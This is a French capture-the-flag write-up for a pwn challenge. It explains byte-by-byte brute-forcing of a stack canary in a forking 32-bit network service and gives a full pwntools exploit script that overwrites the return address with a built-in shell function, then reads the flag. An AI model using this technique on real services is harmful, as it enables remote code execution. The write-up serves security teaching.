Pour un rendu optimal, activez JavaScript

[GreenFlag] Pwn - Attention au canard ! (Intermediaire)

 ·  ☕ 6 min de lecture  ·  ✍ ValekoZ

Description

Saurez vous exploiter ce binaire, malgré la présence du canary ?

Connectez vous au service avec la commande nc greenflag.valekoz.fr 8002

Le programme tournant sur le serveur Ă©tait Ă©galement fourni.

Observations

Dans un premier temps, lançons le programme, et utilisons le normalement pour savoir de quoi il s’agit.

1
2
$ ./vuln
[-] Usage: ./vuln <port>

À priori, le binaire Ă©coute les connexions entrantes sur un port donnĂ©.

Malheureusement, le binaire ne fonctionne pas en local … (le dĂ©veloppeur devait sĂ»rement ĂȘtre trĂšs mauvais .. 😅)

1
2
$ ./vuln 4444
[X] Could not create socket

On pourra quand mĂȘme utiliser le binaire pour l’analyser, mais on devra faire tout nos tests en remote.

1
2
3
4
5
6
7
$ nc greenflag.valekoz.fr 8002
test
test
Bye!
$ nc greenflag.valekoz.fr 8002
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
read(net): Connection reset by peer

Il s’agit donc visiblement d’un buffer overflow.

De plus, en analysant le binaire, on trouve une fonction shell qui nous permettrait d’obtenir un shell sur la machine.

1
2
$ readelf -s vuln | grep shell
    83: 08049396    47 FUNC    GLOBAL DEFAULT   15 shell

Mais il y a tout de mĂȘme une difficultĂ© supplĂ©mentaire par rapport au premier challenge:

1
2
3
4
5
6
7
$ checksec vuln
[*] '/home/lucas/GreenFlag/attention_au_canard/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Cette fois ci, il y a un canary qui risque de rendre l’exploitation plus compliquĂ©e.

Canary

Un canary est une valeur, placĂ©e dans la pile tout au dĂ©but de la stack frame. Il est donc nĂ©cessaire de la rĂ©Ă©crire si on veut modifier l’adresse de retour de la fonction.

Malheureusement, si sa valeur change, le programme s’arrĂȘte avant l’instruction ret. On doit donc faire attention Ă  rĂ©Ă©crire le canary par sa valeur lors de notre exploitation, afin de ne pas le changer et de ne pas faire crash le programme avant d’avoir contrĂŽler son flux d’exĂ©cution.

Le canary est gĂ©nĂ©rĂ© alĂ©atoirement Ă  chaque exĂ©cution. MalgrĂ© ça, si le programme utilise la fonction fork pour gĂ©rer les diffĂ©rents clients, alors le canary sera toujours le mĂȘme d’une exĂ©cution Ă  l’autre.

On peut donc tenter de brute-force le canary en tentant toutes les possibilitĂ©s. En brute-forçant l’intĂ©gralitĂ© du canary en une fois, en 32 bits (donc sur 4 octets, dont l’octet de poids faible vaut toujours 0 par convention), il y aurait 0x1000000 possibilitĂ©, soit 16777216 canarys possibles diffĂ©rents.

Ici, la fonction utilisĂ©e pour lire l’entrĂ©e utilisateur est la fonction recv. La chaĂźne reçue n’est pas null-terminated, c’est-Ă -dire qu’il n’y a pas d’octet nul ajoutĂ© Ă  la fin de la chaĂźne de caractĂšre. On peut donc se contenter de brute-force chaque octet un Ă  un, ce qui fait 256 possibilitĂ©s Ă  chaque fois.

Brute force canary

Exploitation avec pwntools

Pour automatiser le brute-force du canary, on va utiliser un script en utilisant pwntools.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/bin/env python3

from pwn import *

# On change le log_level pour ne pas avoir des logs Ă  chaque connexion au serveur.
context.log_level = 'error'

HOST = "greenflag.valekoz.fr"
PORT = 8002

def request(payload):
    """
    Créé une connexion au serveur, envoie le payload et retourne la réponse du service.
    """

    # On se connecte au serveur
    p = remote(HOST, PORT)

    # On lui envoi le payload
    # Attention Ă  ne pas utiliser `sendline` qui ajouterait un retour Ă  la ligne Ă  la fin du payload
    p.send(payload)

    # On retourne la rĂ©ponse du serveur, avec un timeout de 1 seconde au cas oĂč la connexion serait lente
    return p.recvall(1)
    

# On utilisera l'offset trouvé durant notre phase d'analyse (non détaillée dans ce write up)
offset_canary = 8

# On créé une variable pour stocker notre canary sous forme de chaßne d'octets
# Le canary a toujours son octet de poids faible Ă  0
bytes_canary = b"\x00"

# On créé une variable i sur laquelle on va itérer
i = 0

# On créé un log.Progress pour voir l'évolution du brute-force du canary
context.log_level = 'info'
progress = log.progress("Canary")
context.log_level = 'error'

# En 32 bits, le canary fait 4 octets
while len(bytes_canary) != 4:
    # Pour chaque valeur de i, on le converti en octet qu'on concataine avec la partie du canary déjà trouvée
    tmp_canary = bytes_canary + p8(i)

    # Si `Bye` fait partie de la réponse du serveur, alors le service n'a pas crash et on a donc trouvé la bonne valeur
    if b"Bye" in request(b"A"*offset_canary + tmp_canary):
        bytes_canary += p8(i)

    # On update la valeur du log.Progress
    context.log_level = 'info'
    progress.status("0x%08x" % int.from_bytes(tmp_canary, 'little'))
    context.log_level = 'error'
    
    # On incrémente i, en faisant attention que sa valeur reste sur un seul octet
    i = (i + 1) % 256

# On récupÚre le canary sous forme d'entier
canary = u32(bytes_canary)

# On update la valeur du log.Progress lorsqu'on a fini le brute-force
context.log_level = 'info'
progress.success("0x%08x" % canary)
context.log_level = 'error'

# On peut maintenant passer à l'exploitation, et réécrire la valeur de l'adresse de retour par l'adresse de la fonction `shell` trouvée lors de la phase d'analyse

# On trouve en tatonnant l'offset de l'adresse de retour
offset_eip = 24

# On récupÚre le binaire pour l'utiliser dans la suite de l'exploit
elf = ELF("./vuln")

# On récupÚre l'adresse de la fonction `shell`
shell = elf.symbols["shell"]

# On se connecte au serveur
p = remote(HOST, PORT)

# On créé notre payload final
payload = fit({
    offset_canary: canary,
    offset_eip: shell,
})

# On envoie le payload
p.send(payload)

# On clean la stdout
p.recv()

# On créé une session interactive pour profiter de notre shell
p.interactive()

Et on peut donc utiliser notre exploit:

1
2
3
4
5
6
7
8
$ python exploit.py
[+] Canary: 0x174e8700
$ ls
flag
vuln
vuln.c
$ cat flag
HTN{8851e42b6c127c56157b91c9b5d0eb5ad4b1c8a5ba0ead77021247d98dbcd8d9}

Conclusion

Ce challenge nous a permit de dĂ©couvrir le brute-force de canary, qui est aujourd’hui une des bases importantes pour l’exploitation de buffer overflows sur des serveurs distants.

Le dernier challenge du ctf aborde d’autres notions importantes pour ce genre d’exploitations tels que le Return Oriented Programming (ROP) ainsi que les leaks permettant par exemple de rĂ©cupĂ©rer le buildID de la libc.

Partagez

Hackin'TN
RÉDIGÉ PAR
ValekoZ
Président Hackin'TN 2021